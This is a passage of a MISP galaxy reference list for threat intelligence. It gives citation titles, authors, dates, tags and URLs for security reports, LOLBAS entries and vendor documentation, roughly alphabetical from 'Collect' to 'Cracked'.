The tag is: *misp-galaxy:references="Ahn Lab CoinMiner 2023"*

Table 19964. Table References

Links
https://asec.ahnlab.com/en/51908/

The DFIR Report AutoHotKey 2023

The DFIR Report. (2023, February 6). Collect, Exfiltrate, Sleep, Repeat. Retrieved April 3, 2025.

The tag is: *misp-galaxy:references="The DFIR Report AutoHotKey 2023"*

Table 19965. Table References

Links
https://thedfirreport.com/2023/02/06/collect-exfiltrate-sleep-repeat/

TrendMicro Tropic Trooper December 14 2021

Nick Dai, Ted Lee, Vickie Su. (2021, December 14). Collecting In the Dark: Tropic Trooper Targets Transportation and Government. Retrieved March 26, 2025.

The tag is: *misp-galaxy:references="TrendMicro Tropic Trooper December 14 2021"*

Table 19966. Table References

Links
https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html

NYT-Colonial

Nicole Perlroth. (2021, May 13). Colonial Pipeline paid 75 Bitcoin, or roughly $5 million, to hackers.. Retrieved August 18, 2023.

The tag is: *misp-galaxy:references="NYT-Colonial"*

Table 19967. Table References

Links
https://www.nytimes.com/2021/05/13/technology/colonial-pipeline-ransom.html

Colorcpl.exe - LOLBAS Project

LOLBAS. (2023, June 26). Colorcpl.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Colorcpl.exe - LOLBAS Project"*

Table 19968. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Colorcpl/

mod_rewrite

Bluescreenofjeff.com. (2015, April 12). Combatting Incident Responders with Apache mod_rewrite. Retrieved February 13, 2024.

The tag is: *misp-galaxy:references="mod_rewrite"*

Table 19969. Table References

Links
https://bluescreenofjeff.com/2016-04-12-combatting-incident-responders-with-apache-mod_rewrite/

sentinelone shlayer to zshlayer

Phil Stokes. (2020, September 8). Coming Out of Your Shell: From Shlayer to ZShlayer. Retrieved September 13, 2021.

The tag is: *misp-galaxy:references="sentinelone shlayer to zshlayer"*

Table 19970. Table References

Links
https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/

University of Birmingham C2

Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.

The tag is: *misp-galaxy:references="University of Birmingham C2"*

Table 19971. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Microsoft Command-line Logging

Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.

The tag is: *misp-galaxy:references="Microsoft Command-line Logging"*

Table 19972. Table References

Links
https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing

Microsoft Netdom Trust Sept 2012

Microsoft. (2012, September 11). Command-Line Reference - Netdom Trust. Retrieved November 30, 2017.

The tag is: *misp-galaxy:references="Microsoft Netdom Trust Sept 2012"*

Table 19973. Table References

Links
https://technet.microsoft.com/library/cc835085.aspx

Microsoft msxsl.exe

Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018.

The tag is: *misp-galaxy:references="Microsoft msxsl.exe"*

Table 19974. Table References

Links
https://www.microsoft.com/download/details.aspx?id=21714

Kettle CSV DDE Aug 2014

Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.

The tag is: *misp-galaxy:references="Kettle CSV DDE Aug 2014"*

Table 19975. Table References

Links
https://www.contextis.com/blog/comma-separated-vulnerabilities

Microsoft CLR Integration 2017

Microsoft. (2017, June 19). Common Language Runtime Integration. Retrieved July 8, 2019.

The tag is: *misp-galaxy:references="Microsoft CLR Integration 2017"*

Table 19976. Table References

Links
https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017

Palo Alto Comnie

Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.

The tag is: *misp-galaxy:references="Palo Alto Comnie"*

Table 19977. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/

GDATA COM Hijacking

G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.

The tag is: *misp-galaxy:references="GDATA COM Hijacking"*

Table 19978. Table References

Links
https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence

AP-NotPetya

FRANK BAJAK AND RAPHAEL SATTER. (2017, June 30). Companies still hobbled from fearsome cyberattack. Retrieved August 18, 2023.

The tag is: *misp-galaxy:references="AP-NotPetya"*

Table 19979. Table References

Links
https://apnews.com/article/russia-ukraine-technology-business-europe-hacking-ce7a8aca506742ab8e8873e7f9f229c2

Microsoft COM

Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.

The tag is: *misp-galaxy:references="Microsoft COM"*

Table 19980. Table References

Links
https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx

Unit 42 12 8 2022

Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials Case Studies From the Wild. Retrieved April 17, 2024.

The tag is: *misp-galaxy:references="Unit 42 12 8 2022"*

Table 19981. Table References

Links
https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/

Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022

Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.

The tag is: *misp-galaxy:references="Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022"*

Table 19982. Table References

Links
https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/

US-CERT Alert TA15-314A Web Shells

US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.

The tag is: *misp-galaxy:references="US-CERT Alert TA15-314A Web Shells"*

Table 19983. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA15-314A

ComputerDefaults.exe - LOLBAS Project

LOLBAS. (2024, September 24). ComputerDefaults.exe. Retrieved May 19, 2025.

The tag is: *misp-galaxy:references="ComputerDefaults.exe - LOLBAS Project"*

Table 19984. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/ComputerDefaults/

Comsvcs.dll - LOLBAS Project

LOLBAS. (2019, August 30). Comsvcs.dll. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Comsvcs.dll - LOLBAS Project"*

Table 19985. Table References

Links
https://lolbas-project.github.io/lolbas/Libraries/comsvcs/

Condi-Botnet-binaries

Joie Salvio and Roy Tay. (2023, June 20). Condi DDoS Botnet Spreads via TP-Link's CVE-2023-1389. Retrieved September 5, 2023.

The tag is: *misp-galaxy:references="Condi-Botnet-binaries"*

Table 19986. Table References

Links
https://www.fortinet.com/blog/threat-research/condi-ddos-botnet-spreads-via-tp-links-cve-2023-1389

Okta Conditional Access Policies

Okta. (2023, November 30). Conditional Access Based on Device Security Posture. Retrieved January 2, 2024.

The tag is: *misp-galaxy:references="Okta Conditional Access Policies"*

Table 19987. Table References

Links
https://support.okta.com/help/s/article/Conditional-access-based-on-device-security-posture?language=en_US

Microsoft Common Conditional Access Policies

Microsoft. (2022, December 14). Conditional Access templates. Retrieved February 21, 2023.

The tag is: *misp-galaxy:references="Microsoft Common Conditional Access Policies"*

Table 19988. Table References

Links
https://learn.microsoft.com/en-us/azure/active-directory/conditional-access/concept-conditional-access-policy-common

Microsoft Token Protection 2023

Microsoft. (2023, October 23). Conditional Access: Token protection (preview). Retrieved January 2, 2024.

The tag is: *misp-galaxy:references="Microsoft Token Protection 2023"*

Table 19989. Table References

Links

https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-token-protection

Trend Micro Conficker

Trend Micro. (2014, March 18). Conficker. Retrieved February 18, 2021.

The tag is: *misp-galaxy:references="Trend Micro Conficker"*

Table 19990. Table References

Links
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/conficker

ConfigSecurityPolicy.exe - LOLBAS Project

LOLBAS. (2020, September 4). ConfigSecurityPolicy.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="ConfigSecurityPolicy.exe - LOLBAS Project"*

Table 19991. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/ConfigSecurityPolicy/

Microsoft SAML Token Lifetimes

Microsoft. (2020, December 14). Configurable token lifetimes in Microsoft Identity Platform. Retrieved December 22, 2020.

The tag is: *misp-galaxy:references="Microsoft SAML Token Lifetimes"*

Table 19992. Table References

Links
https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes

Apple Developer Configuration Profile

Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021.

The tag is: *misp-galaxy:references="Apple Developer Configuration Profile"*

Table 19993. Table References

Links
https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf

MDMProfileConfigMacOS

Apple. (2019, May 3). Configuration Profile Reference, Developer. Retrieved April 15, 2022.

The tag is: *misp-galaxy:references="MDMProfileConfigMacOS"*

Table 19994. Table References

Links
https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf

Azure Storage Lifecycles

Microsoft Azure. (2024, July 3). Configure a lifecycle management policy. Retrieved September 25, 2024.

The tag is: *misp-galaxy:references="Azure Storage Lifecycles"*

Table 19995. Table References

Links
https://learn.microsoft.com/en-us/azure/storage/blobs/lifecycle-management-policy-configure?tabs=azure-portal

Azure Just in Time Access 2023

Microsoft. (2023, August 29). Configure and approve just-in-time access for Azure Managed Applications. Retrieved September 21, 2023.

The tag is: *misp-galaxy:references="Azure Just in Time Access 2023"*

Table 19996. Table References

Links
https://learn.microsoft.com/en-us/azure/azure-resource-manager/managed-applications/approve-just-in-time-access

capture_embedded_packet_on_software

Cisco. (2022, August 17). Configure and Capture Embedded Packet on Software. Retrieved July 13, 2022.

The tag is: *misp-galaxy:references="capture_embedded_packet_on_software"*

Table 19997. Table References

Links

https://www.cisco.com/c/en/us/support/docs/ios-nx-os-software/ios-embedded-packet-capture/116045-productconfig-epc-00.html

Microsoft Dev Tunnels Group Policy Mitigation

Derek Bekoe, Carolina Uribe. (2023, March 28). Configure and deploy Group Policy Administrative Templates for Dev Tunnels. Retrieved March 24, 2025.

The tag is: *misp-galaxy:references="Microsoft Dev Tunnels Group Policy Mitigation"*

Table 19998. Table References

Links
https://learn.microsoft.com/en-us/azure/developer/dev-tunnels/policies

Kubernetes Security Context

Kubernetes. (n.d.). Configure a Security Context for a Pod or Container. Retrieved March 8, 2023.

The tag is: *misp-galaxy:references="Kubernetes Security Context"*

Table 19999. Table References

Links
https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Microsoft SharePoint Logging

Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.

The tag is: *misp-galaxy:references="Microsoft SharePoint Logging"*

Table 20000. Table References

Links
https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2

Microsoft Entra Configure OAuth Consent

Microsoft Entra. (2024, September 16). Configure how users consent to applications. Retrieved March 20, 2025.

The tag is: *misp-galaxy:references="Microsoft Entra Configure OAuth Consent"*

Table 20001. Table References

Links

https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/configure-user-consent?pivots=portal

TechNet RDP NLA

Microsoft. (n.d.). Configure Network Level Authentication for Remote Desktop Services Connections. Retrieved June 6, 2016.

The tag is: *misp-galaxy:references="TechNet RDP NLA"*

Table 20002. Table References

Links
https://technet.microsoft.com/en-us/library/cc732713.aspx

Microsoft Security Alerts for Azure AD Roles

Microsoft. (2022, November 14). Configure security alerts for Azure AD roles in Privileged Identity Management. Retrieved February 21, 2023.

The tag is: *misp-galaxy:references="Microsoft Security Alerts for Azure AD Roles"*

Table 20003. Table References

Links
https://learn.microsoft.com/en-us/security/benchmark/azure/baselines/aad-security-baseline

Kubernetes Service Accounts

Kubernetes. (2022, February 26). Configure Service Accounts for Pods. Retrieved April 1, 2022.

The tag is: *misp-galaxy:references="Kubernetes Service Accounts"*

Table 20004. Table References

Links
https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/

Microsoft Learn ClickOnce Config

Microsoft. (2023, August 4). Configure the ClickOnce trust prompt behavior. Retrieved September 9, 2024.

The tag is: *misp-galaxy:references="Microsoft Learn ClickOnce Config"*

Table 20005. Table References

Links

https://learn.microsoft.com/en-us/visualstudio/deployment/how-to-configure-the-clickonce-trust-prompt-behavior?view=vs-2022&tabs=csharp

Windows RDP Sessions

Microsoft. (n.d.). Configure Timeout and Reconnection Settings for Remote Desktop Services Sessions. Retrieved December 11, 2017.

The tag is: *misp-galaxy:references="Windows RDP Sessions"*

Table 20006. Table References

Links
https://technet.microsoft.com/en-us/library/cc754272(v=ws.11).aspx

Broadcom VMCI Firewall

Broadcom. (2025, March 24). Configure Virtual Machine Communication Interface Firewall. Retrieved March 31, 2025.

The tag is: *misp-galaxy:references="Broadcom VMCI Firewall"*

Table 20007. Table References

Links
https://techdocs.broadcom.com/us/en/vmware-cis/vsphere/vsphere/7-0/vsphere-virtual-machine-administration-guide-7-0/configuring-virtual-machine-hardwarevm-admin/virtual-machine-network-configurationvm-admin/serial-port-configurationvm-admin/configure-the-virtual-machine-communication-interface-firewallvm-admin.html

Microsoft LSA Protection Mar 2014

Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.

The tag is: *misp-galaxy:references="Microsoft LSA Protection Mar 2014"*

Table 20008. Table References

Links
https://technet.microsoft.com/library/dn408187.aspx

Microsoft LSA

Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved February 13, 2015.

The tag is: *misp-galaxy:references="Microsoft LSA"*

Table 20009. Table References

Links
https://technet.microsoft.com/en-us/library/dn408187.aspx

Microsoft Configure LSA

Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.

The tag is: *misp-galaxy:references="Microsoft Configure LSA"*

Table 20010. Table References

Links
https://technet.microsoft.com/en-us/library/dn408187.aspx

Configuring Data Access audit logs

Google. (n.d.). Configuring Data Access audit logs. Retrieved October 16, 2020.

The tag is: *misp-galaxy:references="Configuring Data Access audit logs"*

Table 20011. Table References

Links
https://cloud.google.com/logging/docs/audit/configure-data-access

cisco dhcp snooping

Cisco. (n.d.). Configuring DHCP Snooping. Retrieved September 17, 2024.

The tag is: *misp-galaxy:references="cisco dhcp snooping"*

Table 20012. Table References

Links
https://www.cisco.com/en/US/docs/general/Test/dwerblo/broken_guide/snoodhcp.html#wp1120427

Microsoft SID Filtering Quarantining Jan 2009

Microsoft. (n.d.). Configuring SID Filter Quarantining on External Trusts. Retrieved November 30, 2017.

The tag is: *misp-galaxy:references="Microsoft SID Filtering Quarantining Jan 2009"*

Table 20013. Table References

Links
https://technet.microsoft.com/library/cc794757.aspx

Broadcom Configuring syslog on ESXi

Broadcom. (n.d.). Configuring syslog on ESXi. Retrieved March 27, 2025.

The tag is: *misp-galaxy:references="Broadcom Configuring syslog on ESXi"*

Table 20014. Table References

Links
https://knowledge.broadcom.com/external/article/318939/configuring-syslog-on-esxi.html

TechRepublic Wireless GPO FEB 2009

Schauland, D. (2009, February 24). Configuring Wireless settings via Group Policy. Retrieved July 26, 2018.

The tag is: *misp-galaxy:references="TechRepublic Wireless GPO FEB 2009"*

Table 20015. Table References

Links
https://www.techrepublic.com/blog/data-center/configuring-wireless-settings-via-group-policy/

ZDNet Dtrack

Catalin Cimpanu. (2019, October 30). Confirmed: North Korean malware found on Indian nuclear plant's network. Retrieved January 20, 2021.

The tag is: *misp-galaxy:references="ZDNet Dtrack"*

Table 20016. Table References

Links
https://www.zdnet.com/article/confirmed-north-korean-malware-found-on-indian-nuclear-plants-network/

Uptycs Confucius APT Jan 2021

Uptycs Threat Research Team. (2021, January 12). Confucius APT deploys Warzone RAT. Retrieved December 17, 2021.

The tag is: *misp-galaxy:references="Uptycs Confucius APT Jan 2021"*

Table 20017. Table References

Links
https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat

TrendMicro Confucius APT Aug 2021

Lunghi, D. (2021, August 17). Confucius Uses Pegasus Spyware-related Lures to Target Pakistani Military. Retrieved December 26, 2021.

The tag is: *misp-galaxy:references="TrendMicro Confucius APT Aug 2021"*

Table 20018. Table References

Links
https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html

Conhost.exe - LOLBAS Project

LOLBAS. (2022, April 5). Conhost.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Conhost.exe - LOLBAS Project"*

Table 20019. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Conhost/

EC2 Instance Connect

AWS. (2023, June 2). Connect using EC2 Instance Connect. Retrieved June 2, 2023.

The tag is: *misp-galaxy:references="EC2 Instance Connect"*

Table 20020. Table References

Links
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-connect-methods.html

Sophos News 2 23 2024

Andrew Brandt. (2024, February 23). ConnectWise ScreenConnect attacks deliver malware. Retrieved February 23, 2024.

The tag is: *misp-galaxy:references="Sophos News 2 23 2024"*

Table 20021. Table References

Links
https://news.sophos.com/en-us/2024/02/23/connectwise-screenconnect-attacks-deliver-malware/

Arctic Wolf FortiGate Exploit Campaign January 10 2025

Stefan Hostetler, Julian Tuin, Trevor Daher, Jon Grimm, Alyssa Newbury, Joe Wedderspoon, Markus Neis. (2025, January 10). Console Chaos: A Campaign Targeting Publicly Exposed Management Interfaces on Fortinet FortiGate Firewalls. Retrieved January 27, 2025.

The tag is: *misp-galaxy:references="Arctic Wolf FortiGate Exploit Campaign January 10 2025"*

Table 20022. Table References

Links
https://arcticwolf.com/resources/blog/console-chaos-targets-fortinet-fortigate-firewalls/

Silent Push Contagious Interview April 24 2025

Silent Push. (2025, April 24). Contagious Interview (DPRK) Launches a New Campaign Creating Three Front Companies to Deliver a Trio of Malware: BeaverTail, InvisibleFerret, and OtterCookie. Retrieved May 23, 2025.

The tag is: *misp-galaxy:references="Silent Push Contagious Interview April 24 2025"*

Table 20023. Table References

Links
https://www.silentpush.com/blog/contagious-interview-front-companies/

Unit 42 October 9 2024

Unit 42. (2024, October 9). Contagious Interview DPRK Threat Actors Lure Tech Industry Job Seekers to Install New Variants of BeaverTail and InvisibleFerret Malware. Retrieved May 6, 2025.

The tag is: *misp-galaxy:references="Unit 42 October 9 2024"*

Table 20024. Table References

Links
https://unit42.paloaltonetworks.com/north-korean-threat-actors-lure-tech-job-seekers-as-fake-recruiters/

Docker Docs Container

docker docs. (n.d.). Containers. Retrieved October 13, 2021.

The tag is: *misp-galaxy:references="Docker Docs Container"*

Table 20025. Table References

Links
https://docs.docker.com/engine/api/v1.41/#tag/Container

DigitalShadows CDN

Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed – How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="DigitalShadows CDN"*

Table 20026. Table References

Links
https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/

Content trust in Azure Container Registry

Microsoft. (2019, September 5). Content trust in Azure Container Registry. Retrieved October 16, 2019.

The tag is: *misp-galaxy:references="Content trust in Azure Container Registry"*

Table 20027. Table References

Links
https://docs.microsoft.com/en-us/azure/container-registry/container-registry-content-trust

Content trust in Docker

Docker. (2019, October 10). Content trust in Docker. Retrieved October 16, 2019.

The tag is: *misp-galaxy:references="Content trust in Docker"*

Table 20028. Table References

Links
https://docs.docker.com/engine/security/trust/content_trust/

Microsoft File Folder Exclusions

Microsoft. (2024, February 27). Contextual file and folder exclusions. Retrieved March 29, 2024.

The tag is: *misp-galaxy:references="Microsoft File Folder Exclusions"*

Table 20029. Table References

Links

https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-contextual-file-folder-exclusions-microsoft-defender-antivirus

Arctic Wolf Akira 2023

Steven Campbell, Akshay Suthar, & Connor Belfiorre. (2023, July 26). Conti and Akira: Chained Together. Retrieved February 20, 2024.

The tag is: *misp-galaxy:references="Arctic Wolf Akira 2023"*

Table 20030. Table References

Links
https://arcticwolf.com/resources/blog/conti-and-akira-chained-together/

Arctic Wolf Conti Akira July 26 2023

Steven Campbell, Akshay Suthar, Connor Belfiore, Arctic Wolf Labs Team. (2023, July 26). Conti and Akira: Chained Together. Retrieved March 13, 2024.

The tag is: *misp-galaxy:references="Arctic Wolf Conti Akira July 26 2023"*

Table 20031. Table References

Links
https://arcticwolf.com/resources/blog/conti-and-akira-chained-together/

RecordedFuture RedEcho 2022

Recorded Future Insikt Group. (2022, April 6). Continued Targeting of Indian Power Grid Assets by Chinese State-Sponsored Activity Group. Retrieved November 21, 2024.

The tag is: *misp-galaxy:references="RecordedFuture RedEcho 2022"*

Table 20032. Table References

Links
https://go.recordedfuture.com/hubfs/reports/ta-2022-0406.pdf

DFIR Conti Bazar Nov 2021

DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

The tag is: *misp-galaxy:references="DFIR Conti Bazar Nov 2021"*

Table 20033. Table References

Links
https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/

Cybereason Conti Jan 2021

Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021.

The tag is: *misp-galaxy:references="Cybereason Conti Jan 2021"*

Table 20034. Table References

Links
https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware

Cybleinc Conti January 2020

Cybleinc. (2021, January 21). Conti Ransomware Resurfaces, Targeting Government & Large Organizations. Retrieved April 13, 2021.

The tag is: *misp-galaxy:references="Cybleinc Conti January 2020"*

Table 20035. Table References

Links
https://cybleinc.com/2021/01/21/conti-ransomware-resurfaces-targeting-government-large-organizations/

Microsoft Developer Support Power Apps Conditional Access

Microsoft Developer Support. (2020, May 9). Control Access to Power Apps and Power Automate with Azure AD Conditional Access Policies. Retrieved July 1, 2024.

The tag is: *misp-galaxy:references="Microsoft Developer Support Power Apps Conditional Access"*

Table 20036. Table References

Links
https://devblogs.microsoft.com/premier-developer/control-access-to-power-apps-and-power-automate-with-azure-ad-conditional-access-policies/

Control.exe - LOLBAS Project

LOLBAS. (2018, May 25). Control.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Control.exe - LOLBAS Project"*

Table 20037. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Control/

Wikipedia Control Flow Integrity

Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.

The tag is: *misp-galaxy:references="Wikipedia Control Flow Integrity"*

Table 20038. Table References

Links
https://en.wikipedia.org/wiki/Control-flow_integrity

Kubernetes API Control Access

The Kubernetes Authors. (n.d.). Controlling Access to The Kubernetes API. Retrieved March 29, 2021.

The tag is: *misp-galaxy:references="Kubernetes API Control Access"*

Table 20039. Table References

Links
https://kubernetes.io/docs/concepts/security/controlling-access/

TrendMicro CPL Malware Dec 2013

Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.

The tag is: *misp-galaxy:references="TrendMicro CPL Malware Dec 2013"*

Table 20040. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/

GitHub Conveigh

Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.

The tag is: *misp-galaxy:references="GitHub Conveigh"*

Table 20041. Table References

Links

https://github.com/Kevin-Robertson/Conveigh

MITRE Copernicus

Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.

The tag is: *misp-galaxy:references="MITRE Copernicus"*

Table 20042. Table References

Links
http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about

Secureworks COPPER FIELDSTONE Profile

Secureworks. (n.d.). COPPER FIELDSTONE. Retrieved October 6, 2021.

The tag is: *misp-galaxy:references="Secureworks COPPER FIELDSTONE Profile"*

Table 20043. Table References

Links
https://www.secureworks.com/research/threat-profiles/copper-fieldstone

TechNet Copy

Microsoft. (n.d.). Copy. Retrieved April 26, 2016.

The tag is: *misp-galaxy:references="TechNet Copy"*

Table 20044. Table References

Links
https://technet.microsoft.com/en-us/library/bb490886.aspx

copy_cmd_cisco

Cisco. (2022, August 16). copy - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022.

The tag is: *misp-galaxy:references="copy_cmd_cisco"*

Table 20045. Table References

Links

https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/C_commands.html#wp1068167689

CopyKittens Nov 2015

Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="CopyKittens Nov 2015"*

Table 20046. Table References

Links
https://cdn2.hubspot.net/hubfs/1903456/Whitepapers/CopyKittens.pdf

coregen.exe - LOLBAS Project

LOLBAS. (2020, October 9). coregen.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="coregen.exe - LOLBAS Project"*

Table 20047. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Coregen/

Apple Core Services

Apple. (n.d.). Core Services. Retrieved June 25, 2020.

The tag is: *misp-galaxy:references="Apple Core Services"*

Table 20048. Table References

Links
https://developer.apple.com/documentation/coreservices

Microsoft IoT Compromises August 05 2019

MSRC Team. (2019, August 5). Corporate IoT - a path to intrusion. Retrieved August 24, 2023.

The tag is: *misp-galaxy:references="Microsoft IoT Compromises August 05 2019"*

Table 20049. Table References

Links
https://msrc.microsoft.com/blog/2019/08/corporate-iot-a-path-to-intrusion/

Microsoft STRONTIUM Aug 2019

MSRC Team. (2019, August 5). Corporate IoT – a path to intrusion. Retrieved August 16, 2019.

The tag is: *misp-galaxy:references="Microsoft STRONTIUM Aug 2019"*

Table 20050. Table References

Links
https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/

Palo Alto ARP

Palo Alto Networks. (2021, November 24). Cortex XDR Analytics Alert Reference: Uncommon ARP cache listing via arp.exe. Retrieved December 7, 2021.

The tag is: *misp-galaxy:references="Palo Alto ARP"*

Table 20051. Table References

Links
https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-analytics-alert-reference/cortex-xdr-analytics-alert-reference/uncommon-arp-cache-listing-via-arp-exe.html

WeLiveSecurity CosmicBeetle September 10 2024

Jakub Souček. (2024, September 10). CosmicBeetle steps up: Probation period at RansomHub. Retrieved September 13, 2024.

The tag is: *misp-galaxy:references="WeLiveSecurity CosmicBeetle September 10 2024"*

Table 20052. Table References

Links
https://www.welivesecurity.com/en/eset-research/cosmicbeetle-steps-up-probation-period-ransomhub/

F-Secure Cosmicduke

F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.

The tag is: *misp-galaxy:references="F-Secure Cosmicduke"*

Table 20053. Table References

Links
https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf

Costin Raiu IAmTheKing October 2020

Costin Raiu. (2020, October 2). Costin Raiu Twitter IAmTheKing SlothfulMedia. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Costin Raiu IAmTheKing October 2020"*

Table 20054. Table References

Links
https://x.com/craiu/status/1311920398259367942

Google Iran Threats October 2021

Bash, A. (2021, October 14). Countering threats from Iran. Retrieved January 4, 2023.

The tag is: *misp-galaxy:references="Google Iran Threats October 2021"*

Table 20055. Table References

Links
https://blog.google/threat-analysis-group/countering-threats-iran/

Github Covenant

cobbr. (2021, April 21). Covenant. Retrieved September 4, 2024.

The tag is: *misp-galaxy:references="Github Covenant"*

Table 20056. Table References

Links
https://github.com/cobbr/Covenant

Cisco DNSMessenger March 2017

Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.

The tag is: *misp-galaxy:references="Cisco DNSMessenger March 2017"*

Table 20057. Table References

Links
http://blog.talosintelligence.com/2017/03/dnsmessenger.html

Juniper IcedID June 2020

Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020.

The tag is: *misp-galaxy:references="Juniper IcedID June 2020"*

Table 20058. Table References

Links
https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware

PTSecurity Higaisa 2020

PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021.

The tag is: *misp-galaxy:references="PTSecurity Higaisa 2020"*

Table 20059. Table References

Links
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/

F-Secure CozyDuke

F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.

The tag is: *misp-galaxy:references="F-Secure CozyDuke"*

Table 20060. Table References

Links
https://www.f-secure.com/documents/996508/1030745/CozyDuke

TrendMicro CPL Malware Jan 2014

Mercês, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.

The tag is: *misp-galaxy:references="TrendMicro CPL Malware Jan 2014"*

Table 20061. Table References

Links

https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf

Trend Micro CPL

Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.

The tag is: *misp-galaxy:references="Trend Micro CPL"*

Table 20062. Table References

Links
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf

SANS Brute Ratel October 2022

Thomas, W. (2022, October 5). Cracked Brute Ratel C4 framework proliferates across the cybercriminal underground. Retrieved February 6, 2023.

